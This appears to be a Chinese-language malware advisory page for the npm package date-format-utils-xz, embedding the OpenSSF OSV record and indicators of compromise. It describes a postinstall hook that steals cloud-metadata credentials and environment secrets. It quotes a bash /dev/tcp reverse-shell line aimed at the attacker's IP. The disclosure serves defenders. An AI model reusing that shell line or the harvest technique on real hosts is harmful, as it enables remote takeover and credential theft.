目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

date-format-utils-xz

MAL-2026-11001
2026-08-04 22:32:02
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in date-format-utils-xz (npm)

凭据/密钥窃取安装阶段执行文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
0
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmdate-format-utils-xz1.0.0
npmdate-format-utils-xz1.0.1
npmdate-format-utils-xz1.0.2
npmdate-format-utils-xz1.0.3
npmdate-format-utils-xz1.0.4
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"schema_version":"1.7.4","id":"MAL-2026-11001","published":"2026-07-21T00:00:00Z","modified":"2026-08-04T22:32:02.227536400Z","summary":"Malicious code in date-format-utils-xz (npm)","details":"The npm package `date-format-utils-xz` masquerades as a date-formatting utility but is malicious. Its own decoy `index.js` is prefaced with a Chinese comment translating to \"disguised as a normal date formatting tool.\"\n\nEvery published version (1.0.0-1.0.4) declares a `postinstall` lifecycle hook (`postinstall: node postinstall.js`) that runs automatically on `npm install`, before the package is imported, and the payload escalated across releases.\n\nVersions 1.0.0-1.0.3 are a cloud-metadata / environment harvester. The hook shells out with `curl` to the link-local cloud instance-metadata endpoints of the major providers -- Alibaba (100.100.100.200), AWS/GCP-style (169.254.169.254) and Tencent (metadata.tencentyun.com) -- to steal instance identity/roles and (on misconfigured instances) temporary cloud credentials, and runs `env` to dump the full process environment (CI secrets, cloud tokens, npm tokens). The data is exfiltrated by HTTP POST to an attacker-controlled C2 under paths /meta/ali, /meta/aws, /meta/tx, /meta/env (and /meta/all in 1.0.3); 1.0.0 is a lighter recon beacon (GET /pre?h={hostname}&u={user}). The C2 migrated from the domain `zhijiujiu.cn` (1.0.0, 1.0.1) to the hard-coded IP `8.135.48.40` port 80 (1.0.2, 1.0.3) -- a domain-to-IP move that evades DNS-based blocking.\n\nVersion 1.0.4 escalated to a full REVERSE SHELL: postinstall.js opens a TCP connection to 8.135.48.40:4444 via Node net.connect and pipes a spawned /bin/sh over the socket, with fallbacks to `bash -i >& /dev/tcp/8.135.48.40/4444 0>&1` and a python3 pty shell; failures beacon to /shell/failed and /shell/error. This is interactive remote code execution on any host that installs the package.\n\nShortly after publishing 1.0.4 the operator unpublished the entire package from npm (all versions removed from the registry).\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (51816185297e91d0ce1b3b63c53ed946db64bebcb353898df580d8302b54773f)\nThe package presents itself as a date-formatting utility but its postinstall.js runs automatically on npm install and performs credential/metadata theft. It shells out via execSync/curl to query cloud instance metadata endpoints for Alibaba Cloud (100.100.100.200), AWS (169.254.169.254), and Tencent (metadata.tencentyun.com), dumps the installer's entire process environment (`env > /tmp/env.txt`), and POSTs each payload to a hardcoded bare-IP server at http://8.135.48.40 (path /meta/env for the env dump). A GET fallback exfiltrates error details to the same host. index.js is a minimal date-utility stub and contains a comment (\"disguised as a normal date formatting tool\") acknowledging the cover, while the exfiltration logic lives entirely in the postinstall lifecycle script. On any cloud or CI host, this leaks whatever secrets are present in the environment (AWS_*, tokens, DB passwords, CI secrets) and any credentials retrievable from the instance metadata services.\n","affected":[{"package":{"name":"date-format-utils-xz","ecosystem":"npm"},"versions":["1.0.3","1.0.4","1.0.0","1.0.1","1.0.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"postinstall.js","sha256":"0600e9aaa57024bf73936f9bc4e23e59b5b397ad9c8260d51016659602eec5b9","tlsh":"d52100ed5e79ab70af6c8b64f0ec321a1521f8ca26059910626c0a760e8c53cf03cda6"},{"path":"index.js","sha256":"47d5ef560237b5f8f4c08060ea19a3d340d5ea848828a793ac696ec493cf93f3","tlsh":"e8f028d168e62841632b70ad06870b5599a4f5032d1bf5f1bf0d4d184fcca4da25f7e4"}],"package_integrity":[{"filename":"date-format-utils-xz-1.0.3.tgz","hashes":{"sha1":"3c64a263e7b80b6c81aca6751b09e0c6edcfa324","sha512_sri":"sha512-E75VYHJyKEg5NwCwmSEw8uGex7BRCjM4I/dxrdBi2LJJ0w8jsW1ytMl4t7X1w5bgWazsh53olVnWrhdPSaUF1Q=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/date-format-utils-xz/v/1.0.3"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/date-format-utils-xz/v/1.0.4"},{"type":"ADVISORY","url":"https://research.codelake.dev/advisories/clr-2026-3039-date-format-utils-xz"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/date-format-utils-xz/v/1.0.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/date-format-utils-xz/v/1.0.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/date-format-utils-xz/v/1.0.0"}],"database_specific":{"iocs":{"domains":["zhijiujiu.cn"],"hashes":["sha256:249f72604801ea2bdf436464ec0b8256f198f33d5d1f1ff8b92d507cd6e30a0c","sha256:b976e83c3b45962453580fa1c2b7f840f335cbede96832c089b1789bfeeb79c5","sha256:2adb1a22afb8fac18cf5ce68ebfd2fa1409faea7fef2807f3544cc9e6cd6a4b4","sha256:5d8278b7fa3ff1866f1361c7042c03ad0257e49d33072ed1698d2dd3864d1ec2","sha256:e7612d9538dfbd3e64b491f4c9c14387574e3a298a2d34dd453f75ca8f3a4ae2"],"ips":["8.135.48.40"]},"malicious-packages-origins":[{"id":"IN-MAL-2026-010851","import_time":"2026-07-22T20:59:16.579691553Z","modified_time":"2026-07-22T20:39:41Z","sha256":"4ed3237e0e3098910008ffa97c61cc346cdf252defb1f1ce8731316e4c394309","source":"amazon-inspector","versions":["1.0.3"]},{"id":"IN-MAL-2026-010849","import_time":"2026-07-22T20:59:16.33799665Z","modified_time":"2026-07-22T20:39:24Z","sha256":"6c25b5f6a409f2c8ae349c23262edb84031c3626c268f6e075df9ff001d5370f","source":"amazon-inspector","versions":["1.0.4"]},{"id":"IN-MAL-2026-011000","import_time":"2026-08-04T21:33:13.00180597Z","modified_time":"2026-08-04T21:17:48Z","sha256":"51816185297e91d0ce1b3b63c53ed946db64bebcb353898df580d8302b54773f","source":"amazon-inspector","versions":["1.0.2"]},{"id":"IN-MAL-2026-011051","import_time":"2026-08-04T21:33:15.132077777Z","modified_time":"2026-08-04T21:25:26Z","sha256":"a1925e9b9b84ab137deab5d488a0271798bebd82eb6dbee0ea6a133b3145f768","source":"amazon-inspector","versions":["1.0.1"]},{"id":"IN-MAL-2026-011139","import_time":"2026-08-04T22:30:01.297434672Z","modified_time":"2026-08-04T21:38:07Z","sha256":"79b923985ef349156fc54b8bfa179f78056dfb520f7ffaae49a021a3a95f3b1b","source":"amazon-inspector","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"codelake Research","contact":["https://research.codelake.dev/advisories/clr-2026-3039-date-format-utils-xz"],"type":"FINDER"}]}

数据来源:OpenSSF Malicious Packages · Apache-2.0